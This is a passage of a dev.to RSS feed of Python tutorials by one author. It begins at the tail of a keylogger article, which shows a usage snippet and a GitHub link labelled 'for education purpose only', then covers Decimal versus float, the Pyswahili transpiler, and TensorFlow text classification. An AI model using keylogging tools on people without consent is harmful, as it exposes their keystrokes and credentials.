&lt;p&gt;A keylogger will automatically open a new file on your project directory and then start storing yours keys, to change the filename, or directory to store the logs, open the script and then adjust the filename at the bottom of script just as illustrated below;&lt;/p&gt;
&lt;div class="highlight highlight-source-python notranslate position-relative overflow-auto js-code-highlight"&gt;
&lt;pre&gt;&lt;span class="pl-k"&gt;if&lt;/span&gt; &lt;span class="pl-s1"&gt;__name__&lt;/span&gt; &lt;span class="pl-c1"&gt;==&lt;/span&gt; &lt;span class="pl-s"&gt;'__main__'&lt;/span&gt;:
    &lt;span class="pl-s1"&gt;logger&lt;/span&gt; &lt;span class="pl-c1"&gt;=&lt;/span&gt; &lt;span class="pl-v"&gt;KeyLogger&lt;/span&gt;(&lt;span class="pl-s1"&gt;filename&lt;/span&gt;&lt;span class="pl-c1"&gt;=&lt;/span&gt;"&lt;span class="pl-s1"&gt;path&lt;/span&gt;&lt;span class="pl-c1"&gt;-&lt;/span&gt;&lt;span class="pl-s1"&gt;to&lt;/span&gt;&lt;span class="pl-c1"&gt;-&lt;/span&gt;&lt;span class="pl-s1"&gt;logs&lt;/span&gt;&lt;span class="pl-c1"&gt;-&lt;/span&gt;&lt;span class="pl-s1"&gt;file&lt;/span&gt;.&lt;span class="pl-s1"&gt;txt&lt;/span&gt;')
    &lt;span class="pl-s1"&gt;logger&lt;/span&gt;.&lt;span class="pl-en"&gt;main&lt;/span&gt;()
    &lt;span class="pl-en"&gt;input&lt;/span&gt;()&lt;/pre&gt;

&lt;/div&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;For Education purpose only !!!&lt;/h2&gt;

&lt;/div&gt;
&lt;p&gt;The script itself tells, this script is only…&lt;/p&gt;
&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/Kalebu/python-keylogger" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;


</description>
      <category>python</category>
      <category>cybersecurity</category>
      <category>tutorial</category>
      <category>codenewbie</category>
    </item>
    <item>
      <title>When you should use Decimal over float in Python</title>
      <dc:creator>Jordan Kalebu</dc:creator>
      <pubDate>Sun, 21 Feb 2021 10:52:52 +0000</pubDate>
      <link>https://dev.to/kalebu/when-decimal-is-better-than-float-in-python-io6</link>
      <guid>https://dev.to/kalebu/when-decimal-is-better-than-float-in-python-io6</guid>
      <description>&lt;h3&gt;
  
  
  How it began?
&lt;/h3&gt;

&lt;p&gt;This week I was dealing with something that required me to store data in &lt;strong&gt;AWS Dynamo&lt;/strong&gt; and I found something interesting which lead me to write this piece of article.&lt;/p&gt;

&lt;h3&gt;
  
  
  Here is what happened?
&lt;/h3&gt;

&lt;p&gt;I was trying to store float values to the &lt;em&gt;aws dynamo table&lt;/em&gt; but it didn't well it raised a &lt;em&gt;Type Error&lt;/em&gt; that &lt;br&gt;
&lt;strong&gt;inexact&lt;/strong&gt; numeric for data I was trying to solve.&lt;/p&gt;
&lt;h3&gt;
  
  
  Understood why (0.1+0.2) != 0.3
&lt;/h3&gt;

&lt;p&gt;After a bit of googling, I came to realize that python does not store exact floating numbers but with tons of decimal other decimal precision(this has to do with the design of the language itself)&lt;/p&gt;
&lt;h4&gt;
  
  
  Here an example
&lt;/h4&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mf"&gt;1.1&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mf"&gt;1.3&lt;/span&gt;
&lt;span class="mf"&gt;2.4000000000000004&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  what can we do now?
&lt;/h3&gt;

&lt;p&gt;Python has got you covered, there is a built-in module called &lt;em&gt;decimal&lt;/em&gt; which is built on top of float-point data types allowing you to have exactly decimal numbers&lt;/p&gt;
&lt;h3&gt;
  
  
  Here an example
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;decimal&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Decimal&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Decimal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0.1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;Decimal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;'0.1000000000000000055511151231257827021181583404541015625'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;As we can see 0.1 in python is nothing but 0.1 with tons of decimals, to express 0.1 as 0.1 we have to pass it as string&lt;br&gt;
to our Decimal function just as shown below;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;decimal&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Decimal&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Decimal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;'0.1'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;Decimal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;'0.1'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Decimal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;'0.1'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;Decimal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;'0.2'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;Decimal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;'0.3'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="bp"&gt;True&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;As we can see now 0.1 is presented in exact values, and with this trick I was able to effictively store my float values in the aws lambda smoothly.&lt;/p&gt;

&lt;h3&gt;
  
  
  Other areas to use Decimal instead of float ?
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;Accounting Application &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;When you're dealing with accounting calculation which is probably going to involve calculation with decimal point use &lt;em&gt;Decimal&lt;/em&gt; points instead of &lt;em&gt;float&lt;/em&gt; values for more accurate and precision in your financial calculation &lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Converting Decimal to Fraction &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;When you're writing a program which in some ways do the conversion of decimal numbers to integer fraction, you don't wanna use float, it will screw you up;&lt;/p&gt;

&lt;p&gt;Just to put it into action try converting a float value &lt;strong&gt;0.35&lt;/strong&gt; to integer fraction&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0.35&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;as_integer_ratio&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;3152519739159347&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;9007199254740992&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Using decimal instead&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Decimal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;'0.35'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;as_integer_ratio&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Well that's all I have got for today, you can keep in touch with me on Twitter &lt;a href="http://twitter.com/j_kalebu"&gt;kalebu&lt;/a&gt; for more tricks &lt;/p&gt;

&lt;p&gt;Gota any other places you think we should be using Decimal instead of float, Please share in the comment box below;&lt;/p&gt;

&lt;p&gt;I also write an in-depth Python tutorial at &lt;a href="http://kalebujordan.dev/"&gt;kalebujordan.dev&lt;/a&gt;&lt;/p&gt;

</description>
      <category>tutorial</category>
      <category>beginners</category>
      <category>python</category>
      <category>codenewbie</category>
    </item>
    <item>
      <title>Pyswahili (Python for non-english speakers)</title>
      <dc:creator>Jordan Kalebu</dc:creator>
      <pubDate>Wed, 27 Jan 2021 07:46:59 +0000</pubDate>
      <link>https://dev.to/kalebu/pyswahili-python-for-non-english-speakers-1mj5</link>
      <guid>https://dev.to/kalebu/pyswahili-python-for-non-english-speakers-1mj5</guid>
      <description>&lt;p&gt;A month ago I started an open-source project titled &lt;strong&gt;Pyswahili&lt;/strong&gt;, which acts as a middleware to help non-English speakers get started with Python Programming using Swahili based keywords.&lt;/p&gt;

&lt;p&gt;With just a twist of the dictionary file, you could make the python understand your custom language keywords.&lt;/p&gt;

&lt;p&gt;The Project is available on GitHub as open-source under MIT Public License&lt;/p&gt;

&lt;p&gt;Here is the link&lt;br&gt;
&lt;/p&gt;
&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev.to%2Fassets%2Fgithub-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/Kalebu" rel="noopener noreferrer"&gt;
        Kalebu
      &lt;/a&gt; / &lt;a href="https://github.com/Kalebu/pyswahili" rel="noopener noreferrer"&gt;
        pyswahili
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      A Swahili version of programming language to allow Swahili speakers get started with programming 
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;
&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;&lt;a href="https://github.com/Kalebu/pyswahili#" rel="noopener noreferrer"&gt;pyswahili&lt;/a&gt;&lt;/h1&gt;
&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Pyswahili&lt;/strong&gt; is a light weight python library that helps you write your python code in Swahili.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://github.com/Kalebu/pyswahili" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/c2baee6d43ee0480a160a6bb03410820b7763382865b8b9d1954a087aeb8df8c/68747470733a2f2f62616467656e2e6e65742f6769746875622f72656c65617365732f6b616c6562752f707973776168696c69" alt="Releases"&gt;&lt;/a&gt;
&lt;a href="https://pepy.tech/project/pyswahili" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/ff92ed595543e3f58498019d1d07eb40014469cef1931bd2ab4049e9d55729ec/68747470733a2f2f706570792e746563682f62616467652f707973776168696c69" alt="Downloads"&gt;&lt;/a&gt;
&lt;a href="https://pepy.tech/project/pyswahili" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/49b15490b3d80847114a61a9c6d96f5e26bc5368e5eecc2f7dde7c54b84a0790/68747470733a2f2f706570792e746563682f62616467652f707973776168696c692f6d6f6e7468" alt="Downloads"&gt;&lt;/a&gt;
&lt;a href="https://pepy.tech/project/pyswahili" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/03594e7e27930f94c5c84c76a4884a0580bc235c083a4c156ef3ed23b43c5bf0/68747470733a2f2f706570792e746563682f62616467652f707973776168696c692f7765656b" alt="Downloads"&gt;&lt;/a&gt;
&lt;a href="https://opensource.org/licenses/MIT" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/6cd0120cc4c5ac11d28b2c60f76033b52db98dac641de3b2644bb054b449d60c/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f4c6963656e73652d4d49542d79656c6c6f772e737667" alt="License: MIT"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;pyswahili&lt;/strong&gt; is not a completely independent language but more of a swahili version of &lt;strong&gt;python language&lt;/strong&gt;, syntax and language grammar is equivalent to python one with only change of &lt;strong&gt;keywords&lt;/strong&gt; from english to swahili.&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Transipiler&lt;/h2&gt;
&lt;/div&gt;
&lt;p&gt;Transpiler(Pyswahili) translates swahili version of python to english version so that it can be intepreted by the &lt;code&gt;python Intepreter&lt;/code&gt;.&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Pyswahili File extension ?&lt;/h2&gt;
&lt;/div&gt;
&lt;p&gt;There is no official extension for pyswahili, so for now &lt;strong&gt;.py&lt;/strong&gt; is fine.&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;What can you do with pyswahili ?&lt;/h2&gt;

&lt;/div&gt;
&lt;p&gt;Similar to Python, Pyswahili supports both modes; the Read-evaluate-print(&lt;strong&gt;Repl&lt;/strong&gt;) loop and &lt;code&gt;Script mode&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Repl enable you to interactively execute pyswahili code line by line without requiring to write a complete program while on other side &lt;strong&gt;Script mode&lt;/strong&gt; requires you to write your Pyswahili code on a file and run it…&lt;/p&gt;
&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/Kalebu/pyswahili" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;I also write article on my &lt;a href="https://kalebujordan.dev/" rel="noopener noreferrer"&gt;personal blog&lt;/a&gt;&lt;/p&gt;

</description>
      <category>python</category>
      <category>programming</category>
      <category>codenewbie</category>
      <category>opensource</category>
    </item>
    <item>
      <title>Beginners guide to TensorFlow text classification using Python</title>
      <dc:creator>Jordan Kalebu</dc:creator>
      <pubDate>Thu, 26 Nov 2020 04:25:15 +0000</pubDate>
      <link>https://dev.to/kalebu/beginners-guide-to-tensorflow-text-classification-using-python-20d6</link>
      <guid>https://dev.to/kalebu/beginners-guide-to-tensorflow-text-classification-using-python-20d6</guid>
      <description>&lt;p&gt;Hi guys,&lt;/p&gt;

&lt;p&gt;In this article, you will learn how to train your own text classification Model from scratch using &lt;a href="https://www.tensorflow.org/" rel="noopener noreferrer"&gt;Tensorflow&lt;/a&gt; in just a couple of lines of code. &lt;/p&gt;

&lt;h2&gt;
  
  
  a brief about text classification
&lt;/h2&gt;

&lt;p&gt;Text classification is a subpart of natural language processing that focuses on grouping a paragraph into predefined groups based on its content, for instance classifying categories of news whether its sports, business, music and etc&lt;/p&gt;

&lt;h3&gt;
  
  
  what will you learn?
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;One hot encoding &lt;/li&gt;
&lt;li&gt;Word Embedding &lt;/li&gt;
&lt;li&gt;Neural network with an embedding layer&lt;/li&gt;
&lt;li&gt;Evaluating and Testing trained Model &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The above mention concepts are fundamental things that you supposed to understand when it comes to natural language processing with &lt;strong&gt;TensorFlow&lt;/strong&gt; and you can apply them to multiple NLP-based projects, so I recommend you read this to an end to really grasp it. &lt;/p&gt;

&lt;h2&gt;
  
  
  Building Sentiment analyzer as we learn
&lt;/h2&gt;

&lt;p&gt;We are going to build a simple TensorFlow model that will be classifying user's reviews as either positive or negative as a result of effectively generalizing the training data.&lt;/p&gt;

&lt;h2&gt;
  
  
  ML Libraries we need
&lt;/h2&gt;

&lt;p&gt;Apart from the Tensorflow itself, we also need other python library and tools to develop our model, and this article assumes you have them installed on your machine &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;a href="https://numpy.org/" rel="noopener noreferrer"&gt;Numpy&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://matplotlib.org/" rel="noopener noreferrer"&gt;Matplotlib&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://www.tensorflow.org/" rel="noopener noreferrer"&gt;Tensorflow&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Quick installation
&lt;/h2&gt;

&lt;p&gt;If you don't have those libraries installed, here a quick installation guide with pip;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pip &lt;span class="nb"&gt;install &lt;/span&gt;numpy
pip &lt;span class="nb"&gt;install &lt;/span&gt;tensorflow
pip &lt;span class="nb"&gt;install &lt;/span&gt;matplotlib
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now once everything is installed, now we are ready to get our hands dirty and began building our Model. &lt;/p&gt;

&lt;h2&gt;
  
  
  Getting started
&lt;/h2&gt;

&lt;p&gt;First of all, we need to import all the necessary library we just installed in our codebase;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;numpy&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;np&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;tensorflow&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;tf&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;matplotlib.pyplot&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;plt&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Dataset
&lt;/h2&gt;

&lt;p&gt;Dataset can come in various file formats (csv, json, sql) but in this article, we gonna use just a 1D array of sample customer review messages just as shown below;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;data_x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
 &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;good&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;well done&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;nice&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Excellent&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Bad&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;OOps I hate it deadly&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;embrassing&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; 
&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;A piece of shit&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Samwise we can have our label as a 1D numpy array of 0, and 1 whereby 1 stand for positive review and 0 stands for negative review arranged corresponding to the training data (data_x) just as shown below;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;
&lt;span class="n"&gt;data_x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
 &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;good&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;well done&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;nice&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Excellent&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Bad&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;OOps I hate it deadly&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;embrassing&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; 
&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;A piece of shit&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="n"&gt;label_x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;array&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Data Engineering - One Hot encoding
&lt;/h2&gt;

&lt;p&gt;The machine only understands numbers and that's doesn't change when it comes to training textual data, therefore to be able to train it, we need a way to have a numerical representation of our text dataset that's where on-hot encoding comes into play.&lt;/p&gt;

&lt;p&gt;Tensorflow provides an inbuilt method to help you so that you can learn more about it by visiting &lt;a href="https://www.tensorflow.org/api_docs/python/tf/one_hot" rel="noopener noreferrer"&gt;one hot encoding docs&lt;/a&gt;, and here is how you put that into code;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;data_x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
 &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;good&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;well done&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;nice&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Excellent&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Bad&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;OOps I hate it deadly&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;embrassing&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; 
&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;A piece of shit&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="n"&gt;label_x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;array&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;

&lt;span class="n"&gt;one_hot_x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;keras&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;preprocessing&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;one_hot&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;d&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;data_x&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

